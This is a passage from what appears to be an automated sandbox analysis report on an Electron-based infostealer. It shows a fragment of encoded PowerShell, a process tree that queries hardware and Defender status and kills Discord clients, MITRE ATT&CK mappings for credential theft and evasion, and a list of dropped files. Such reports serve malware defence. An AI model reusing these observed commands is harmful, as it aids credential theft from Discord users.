CAAIAAgACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGkAbABlAEIAeQB0AGUAcwApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAcwB5AHMAXwB3AGkAbgBfADQAMgAyADUALgBwAG4AZwAnACAALQBGAG8AcgBjAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABiAGEAcwBlADYANABJAG0AYQBnAGUACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIARQBSAFIATwBSACIACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAA3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model"2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get model3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell "Get-MpComputerStatus""2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "Get-MpComputerStatus"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Discord.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Discord.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordCanary.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM DiscordCanary.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordPTB.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM DiscordPTB.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordDevelopment.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM DiscordDevelopment.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vesktop.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Vesktop.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Vencord.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Vencord.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM BetterDiscord.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM BetterDiscord.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Powercord.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Powercord.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Revolt.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Revolt.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Fluent.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Fluent.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM Lightcord.exe"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM Lightcord.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM DiscordOpenSource.exe"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM DiscordOpenSource.exe3⤵
- Kills process with taskkill
-
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Modify Registry
3Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
__PSScriptPolicyTest_thwcio4f.4ow.ps1
hades_log.txt
hades_log.txt
LICENSE.electron.txt
LICENSES.chromium.html
chrome_100_percent.pak
chrome_200_percent.pak
d3dcompiler_47.dll
dxcompiler.dll
dxil.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
af.pak
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
ur.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
esbuild.exe
package.json
index.js
package.json
node.napi.node
dpapi_addon.h
dpapi_not_supported.cpp
dpapi_win.cpp
main.cpp
LICENSE.txt
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.node
koffi.exp
koffi.lib
koffi.node
koffi.exp
koffi.lib
koffi.node
koffi.exp
koffi.lib
koffi.node
benchmarks.md
callbacks.md
contribute.md
functions.md
index.md
input.md
migration.md
misc.md
output.md
packaging.md
platforms.md
pointers.md
start.md
unions.md
variables.md
index.js
base.hh
crc.inc
crc_gen.py
mimetypes.inc
mimetypes_gen.py
tower.hh
unicode.inc
unicode_gen.py
package.json
README.md
FindCNoke.cmake
toolchains.json
win_delay_hook.c
cnoke.js
package.json
builder.js
index.js
tools.js
CMakeLists.txt
abi_arm32_asm.S
abi_arm64_asm.S
abi_arm64_asm.asm
abi_loong64_asm.S
abi_riscv64_asm.S
abi_x64_sysv_asm.S
abi_x64_win_asm.S
abi_x64_win_asm.asm
abi_x86_asm.S
abi_x86_asm.asm
call.hh
errno.inc
ffi.hh
init.js
parser.hh
util.hh
uv.def
uv.hh
win32.hh
write_trampolines.js
LICENSE.md
README.md
napi-inl.deprecated.h
napi-inl.h
napi.h
LICENSE
README.md
js_native_api.def
node_api.def
js_native_api.h
js_native_api_types.h
node_api.h
node_api_types.h
uv.h
aix.h
bsd.h
darwin.h
errno.h
linux.h
os390.h
posix.h
sunos.h
threadpool.h
tree.h
unix.h
version.h
win.h
LICENSE
node_sqlite3.node
common-sqlite.gypi
extract.js
sqlite-autoconf-3440200.tar.gz
sqlite3.gyp
sqlite3-binding.js
sqlite3.js
trace.js
package.json
async.h
backup.h
database.h
gcc-preinclude.h
macros.h
statement.h
threading.h
app.protected.jsc
elevate.exe
snapshot_blob.bin
v8_context_snapshot.bin
vk_swiftshader.dll
vk_swiftshader_icd.json
vulkan-1.dll
StdUtils.dll
System.dll
UAC.dll
WinShell.dll
nsDialogs.dll
nsExec.dll
nsis7z.dll
9b442810-9c3f-4785-ad46-1149cbfbe1fc.tmp
Network Persistent State
default.exc
CustomVR.lnk
CustomVR.lnk
memory/360-87-0x00000000063C0000-0x000000000671B000-memory.dmp
memory/360-95-0x00000000704E0000-0x000000007052C000-memory.dmp
memory/360-102-0x00000000707B0000-0x0000000070B0B000-memory.dmp
memory/1312-49-0x0000000007980000-0x0000000007A23000-memory.dmp
memory/1312-37-0x0000000006880000-0x000000000689E000-memory.dmp
memory/1312-54-0x0000000007CF0000-0x0000000007CFA000-memory.dmp
memory/1312-53-0x0000000007C80000-0x0000000007C9A000-memory.dmp
memory/1312-52-0x00000000082C0000-0x000000000893C000-memory.dmp
memory/1312-51-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-56-0x0000000007EC0000-0x0000000007EE4000-memory.dmp
memory/1312-50-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-48-0x00000000078B0000-0x00000000078D0000-memory.dmp
memory/1312-46-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-40-0x00000000704E0000-0x000000007052C000-memory.dmp
memory/1312-39-0x0000000007850000-0x0000000007886000-memory.dmp
memory/1312-38-0x00000000068B0000-0x00000000068FC000-memory.dmp
memory/1312-25-0x0000000005AF0000-0x000000000613A000-memory.dmp
memory/1312-36-0x0000000006370000-0x00000000066CB000-memory.dmp
memory/1312-29-0x0000000006300000-0x0000000006366000-memory.dmp
memory/1312-57-0x0000000070650000-0x00000000709AB000-memory.dmp
memory/1312-22-0x0000000073BF2000-0x0000000073BF3000-memory.dmp
memory/1312-23-0x0000000003360000-0x0000000003396000-memory.dmp
memory/1312-59-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-24-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-27-0x0000000006170000-0x0000000006192000-memory.dmp
memory/1312-28-0x0000000006290000-0x00000000062F6000-memory.dmp
memory/1312-26-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/1312-55-0x0000000007E90000-0x0000000007EBA000-memory.dmp
memory/2804-1647-0x000000000F0F0000-0x000000000F170000-memory.dmp
memory/2912-1638-0x000001D545B60000-0x000001D545B84000-memory.dmp
memory/2912-1631-0x000001D545290000-0x000001D5452AE000-memory.dmp
memory/2912-1632-0x000001D545510000-0x000001D5455C2000-memory.dmp
memory/2912-1633-0x000001D5452E0000-0x000001D5452EA000-memory.dmp
memory/2912-1634-0x000001D545740000-0x000001D54575E000-memory.dmp
memory/2912-1635-0x000001D5452F0000-0x000001D5452FA000-memory.dmp
memory/2912-1636-0x000001D545720000-0x000001D54572A000-memory.dmp
memory/2912-1637-0x000001D545B60000-0x000001D545B8A000-memory.dmp
memory/4088-1441-0x0000021514470000-0x0000021514570000-memory.dmp
memory/4088-1428-0x00000215001E0000-0x00000215002E0000-memory.dmp
memory/4088-1440-0x0000021501FC0000-0x0000021501FE0000-memory.dmp
memory/4088-1474-0x0000021514C80000-0x0000021514CA0000-memory.dmp
memory/4088-1460-0x0000021504200000-0x0000021504220000-memory.dmp
memory/4088-1430-0x00000215001E0000-0x00000215002E0000-memory.dmp
memory/4812-1570-0x000001F668E50000-0x000001F668E72000-memory.dmp
memory/4956-63-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/4956-64-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/4956-65-0x0000000073BE0000-0x000000007439C000-memory.dmp
memory/4956-73-0x00000000704E0000-0x000000007052C000-memory.dmp
memory/4956-80-0x0000000007FD0000-0x0000000008066000-memory.dmp
memory/4956-81-0x0000000007F30000-0x0000000007F41000-memory.dmp
memory/4956-83-0x0000000073BE0000-0x000000007439C000-memory.dmp